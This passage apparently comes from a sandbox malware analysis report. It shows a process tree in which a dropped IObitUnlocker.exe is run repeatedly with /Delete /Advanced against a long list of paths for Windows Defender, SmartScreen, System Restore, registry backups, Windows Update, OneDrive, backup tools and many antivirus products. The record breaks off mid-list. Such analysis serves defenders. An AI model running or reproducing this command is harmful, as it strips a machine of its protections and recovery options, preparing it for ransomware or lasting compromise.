        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3736
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:3096
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData